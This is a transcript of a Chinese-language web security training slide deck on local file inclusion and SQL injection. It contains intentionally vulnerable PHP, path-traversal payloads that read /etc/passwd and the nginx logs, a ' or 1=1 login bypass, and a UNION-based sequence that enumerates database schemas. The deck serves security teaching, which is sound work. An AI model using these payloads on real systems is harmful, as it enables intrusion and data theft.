Upgrade to Pro — share decks privately, control downloads, hide ads and more …

ITAC | Websec 3

racterub
October 27, 2020

ITAC | Websec 3

ITAC | Websec 3

racterub

October 27, 2020
Tweet

More Decks by racterub

Other Decks in Programming

Transcript

  1. •元智大學 電通英專大二 •常用 ID:Racterub / Racter •2017-2019 AIS3 學員 •2019

    台灣好厲駭 學員 •2020 ⺠生物聯網漏洞挖掘競賽 第二期第三名 •2020 Zyxel 榮耀資戰 第三名 About Me
  2. LFI if (isset($_GET['p']) !&& !empty($_GET['p'])) { @include($_GET['p']); } else {

    @include("base.php"); } ?p=!../!../!../!../!../!../!../!../!../!../etc/passwd
  3. LFI if (isset($_GET['p']) !&& !empty($_GET['p'])) { @include($_GET['p']); } else {

    @include("base.php"); } ?p=!../!../!../!../!../!../var/log/nginx/access.log
  4. LFI 172.25.0.1 - - [23/Oct/2020:07:58:46 +0000] "GET /test HTTP/1.0" 200

    1373 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36" IP 來源
  5. LFI 172.25.0.1 - - [23/Oct/2020:07:58:46 +0000] "GET /test HTTP/1.0" 200

    1373 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36" 時間
  6. LFI 172.25.0.1 - - [23/Oct/2020:07:58:46 +0000] "GET /test HTTP/1.0" 200

    1373 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36" HTTP 請求方式
  7. LFI 172.25.0.1 - - [23/Oct/2020:07:58:46 +0000] "GET /test HTTP/1.0" 200

    1373 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36" 請求資源
  8. LFI 172.25.0.1 - - [23/Oct/2020:07:58:46 +0000] "GET /test HTTP/1.0" 200

    1373 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36" HTTP 版本
  9. LFI 172.25.0.1 - - [23/Oct/2020:07:58:46 +0000] "GET /test HTTP/1.0" 200

    1373 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36" HTTP 狀態碼
  10. LFI 172.25.0.1 - - [23/Oct/2020:07:58:46 +0000] "GET /test HTTP/1.0" 200

    1373 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36" 回應大小
  11. LFI 172.25.0.1 - - [23/Oct/2020:07:58:46 +0000] "GET /test HTTP/1.0" 200

    1373 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36" Referer: HTTP參照位址
  12. LFI 172.25.0.1 - - [23/Oct/2020:07:58:46 +0000] "GET /test HTTP/1.0" 200

    1373 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36" User-Agent: 使用者代理
  13. LFI 172.25.0.1 - - [23/Oct/2020:07:58:46 +0000] "GET /test HTTP/1.0" 200

    1373 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/ 537.36 (KHTML, like Gecko) Chrome/86.0.4240.80 Safari/537.36" User-Agent: 使用者代理
  14. • String Filters • string.rot13 • string.toupper • string.tolower •

    string.strip_tags (在 v7.3.0 已被棄⽤) Filters
  15. SQL id username password 1 test test 2 admin 1234

    3 yzu yz1234 4 itac itac id username password 1 test test 2 admin 1234 3 yzu yz1234 4 itac itac Login users admins
  16. SQL SELECT * FROM users ; id username password 1

    test test 2 admin 1234 3 yzu yz1234 4 itac itac
  17. SQL SELECT * FROM users WHERE username='admin' ; id username

    password 1 test test 2 admin 1234 3 yzu yz1234 4 itac itac
  18. SQL SELECT id, password FROM users WHERE username='admin' ; id

    username password 1 test test 2 admin 1234 3 yzu yz1234 4 itac itac
  19. SQL SELECT * FROM users LIMIT 0,1; id username password

    1 test test 2 admin 1234 3 yzu yz1234 4 itac itac
  20. SQL SELECT * FROM users LIMIT 1,3; id username password

    1 test test 2 admin 1234 3 yzu yz1234 4 itac itac
  21. SQL injection if (isset($_GET['user']) || isset($_GET['pass'])) { $sql = "SELECT

    id FROM user WHERE username='". $_GET['user']."' AND password='".$_GET['pass']."'"; $result = $connection->query($sql); if ($result) { $data = $result->fetch(PDO::FETCH_ASSOC); if ($data) { die("success"); } else { die(“failed"); } } else { die("error"); } }
  22. SQL injection SELECT id FROM user WHERE username='' or 1=1

    -- ' AND password='admin'; user = ' or 1=1 --+ pass = admin
  23. SQL injection SELECT id FROM user WHERE username='' or 1=1

    -- ' AND password='admin'; user = ' or 1=1 --+ pass = admin
  24. • Union-based • 做合併查詢,可以替換掉原本要查詢的位置,在網頁取 得你構造的 SQL 語法所拿的資料 • Boolean-based •

    當你在猜字時,可以透過 ASCII 來比較,用 True / False 撈資料 • Time-based • 可以使用 Boolean-based 的方式然後在多去 sleep 一下 SQL injection 種類
  25. SQL SELECT * FROM users WHERE id=1; id username password

    1 test test 2 admin 1234 3 yzu yz1234 4 itac itac
  26. SQL SELECT * FROM users WHERE id=1 UNION SELECT 1,2,3;

    id username password 1 test test 2 admin 1234 3 yzu yz1234 4 itac itac 1 2 3
  27. SQL SELECT * FROM users WHERE id=-1 UNION SELECT 1,user(),3;

    id username password 1 root@localhost 3
  28. SQL SELECT * FROM users WHERE id=-1 UNION SELECT 1,schema_name,3

    FROM information_schema.schemata; id username password 1 login 3
  29. SQL SELECT * FROM users WHERE id=-1 UNION SELECT 1,table_name,3

    FROM information_schema.tables WHERE table_schema='login'; id username password 1 users 3
  30. SQL SELECT * FROM users WHERE id=-1 UNION SELECT 1,column_name,3

    FROM information_schema.columns WHERE table_name='users'; id username password 1 id 3
  31. SQL SELECT * FROM users WHERE id=-1 UNION SELECT 1,column_name,3

    FROM information_schema.columns WHERE table_name='users' limit 1,1; id username password 1 username 3
  32. SQL SELECT * FROM users WHERE id=-1 UNION SELECT 1,group_concat(column_name),3

    FROM information_schema.columns WHERE table_name='users'; id username password 1 id 3